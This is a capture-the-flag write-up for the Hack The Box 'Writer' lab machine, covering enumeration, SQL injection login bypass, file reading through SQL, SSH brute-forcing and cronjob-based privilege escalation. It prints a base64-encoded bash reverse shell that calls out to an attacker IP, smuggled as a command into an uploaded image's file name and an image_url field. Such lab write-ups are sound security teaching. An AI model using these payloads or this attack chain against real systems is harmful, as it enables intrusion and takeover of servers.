9 min readDec 11, 2021

Hello everyone , I hope you are doing well , in this post I will be sharing my write-up for HTB-Writer machine which was medium linux box and there were two ways to get a shell on the box , the first one being the intended one , using a fuzzing tool we were able to find a login page which was vulnerable to sqli but simply bypassing would lead us to a rabbit hole as we could edit the posts but that wasn’t helpful , so doing a LFI through load_file function of sql we could see the backend code of web application which would show us that we need to name a file having a reverse shell and it trigger it through the posts. The un-intended way was to enumerate smb shares through enum4linux which would give us a username and after brute forcing that we can directly get to kyle user without doing a horizontal escalation, with intended we get user as www which we could escalate to kyle then abusing the SMTP we get to john and then we can see apt update was running in the background as root so we exploited that and rooted the machine.


22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| WRITER<00> Flags: <unique><active>
| WRITER<03> Flags: <unique><active>
| WRITER<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 16290/tcp): CLEAN (Couldn't connect)
| Checking for Conficker.C or higher...
| Check 2 (port 37291/tcp): CLEAN (Timeout)
| Check 3 (port 56512/udp): CLEAN (Timeout)
| Check 4 (port 39467/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.10:
|_ Message signing enabled but not required
|_smb2-time: Protocol negotiation failed (SMB2)

NMAP scan returned us with 4 ports out which we can enumerate SMB and HTTP

PORT 135/445 (SMB)

First of all I am going to run enum4linx-ng to see if I can get usernames also the share names if anonymous login is enabled

Here I am supplying an argument -A which will check for groups,users, and shares so it's very handy

It found the user kyle so let's scroll bit further

And it also found three shares on smb, but with anonymous login we can’t read these shares


Let’s move further and enumerate the web server which is running apache 2.4.41

If we go into about section we can the writer talks about reviewing stories for being posted on the website so maybe we could do something from here also there's an email through which we can contact him admin@writer.htb , so let's add writer.htb to /etc/hosts maybe we can find a subdomain

I ran gobuster to fuzz for files and directories

So first I checked the contact page but it wasn't sending anything on filling the input fields

Then I looked into static directory but didn't find much there

Digging into these folders but I all I want was that it’s using a wordpress like theme from wow themes


So there’s nothing we can do here as it’s HTML template , so I took a step back and ran ffuf this time for fuzzing

This returned us administrative directory , I guess I should switch to ffuf as my main fuzzing tool

We can see a login portal here , so let’s try the password admin:admin

Next next try a basic sqli login by pass

And boom we are in !

So it seems we are now the admin user that can post stories on that “Story Bank” site. I tried editing the story , replacing the thumbnail with php reverse shell by adding the extensions .php.jpg as only jgp files were allowed to be uploaded by it didn't worked .

Then I started to enumerate the database version manually.

We achieved this by first identifying the number of columns in the table by using union select which is used to join to select queries together and then use null as we don't know the column data type so null can be used , and did this till I found the correct number columns as if we supply the 7th column it will give an error meaning that only 6 columns exist and then used the built in function version() to know the version of database being used . Further more I tried to view /etc/passwd and was successful in viewing it so we have LFI as well through sqli.

Next I could think of is viewing the apache error log file so we can get poison that log file to get RCE (Remote Code Execution).

But this didn’t worked , maybe www-data doesn't have permissions to view that file , so we could try reading the apache virtual hosts file /etc/apache2/sites-available/000-default.conf

From this file , we get a path to /var/www/writer.htb/writer.wsgi , with load_file we can read what's the script about

It’s importing __init__.py from somewhere and we need to read this file, from this path /var/www/writer.htb/writer/__init__.py we can read that file

We can see here that os.system will be called when we are going edit the image for the story thumbnail so we'll need to create an .jpg file having with bash reverse shell in the image name

touch 'test.jpg;`echo "L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5Ny8yMjIyIDA+JjEi" |base64 -d|bash`;'

So first we’ll upload the jpg image file that we created

It has been uploaded , now we will need to intercept the request for editing the story image and then in image_url section we will need to call that file like this

file:///var/www/writer.htb/writer/static/img/test.jpg;`echo "L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE5Ny8yMjIyIDA+JjEi" |base64 -d|bash`;#

From that __int.py__ file we can get credentials to the writer database

But there wasn’t anything useful that we could do with as this hash wasn’t being cracked

So I did some digging and found another password in /etc/mysql/mariadb.cnf

Which gives us this hash

We can search on hashcat examples for this hash whose mode number is 10000

After giving it some time , the hash will be cracked and then you can use ssh to login to target machine as kyle user

Un-intended User

I got the user through brute forcing kyle's ssh password which was the un-intended way using hydra , this was a much easier way as we didn't have to go through the trouble of looking at the source code and then creating an image file having bash reverse shell and playing around with burp suite.

We can upload pspy which is a process monitoring tool looking for running background processes or cronjobs running as root. On runinng pspy we can see the cronjobs

And if we look it we can see two files being copied from root directory , disclaimer and master.cf

Privilege Escalation To John

So in order to escalate to john we need to add a python3 reverse shell in disclaimer file as the bash reverse shell didn't work and we need to be quick enough to send an email as the cronjob would replace the disclaimer file

Now copy this into /etc/postfix directory

Privilege Escalation To Root

On getting a reverse shell through SMTP , we can check in which group we are in

So being in the management group , let's use the find command to see which files or folders are owned by this group

We have permissions to add files in that directory which is related to apt 's configuration files.

Here the cronjob is running which runs the apt-get update command plus it runs a command to delete files in that directory which are modified in less than 1 day but the update is being called again and again so there's a chance that we can put a configuration file that is invoked before running that update command having a reverse shell.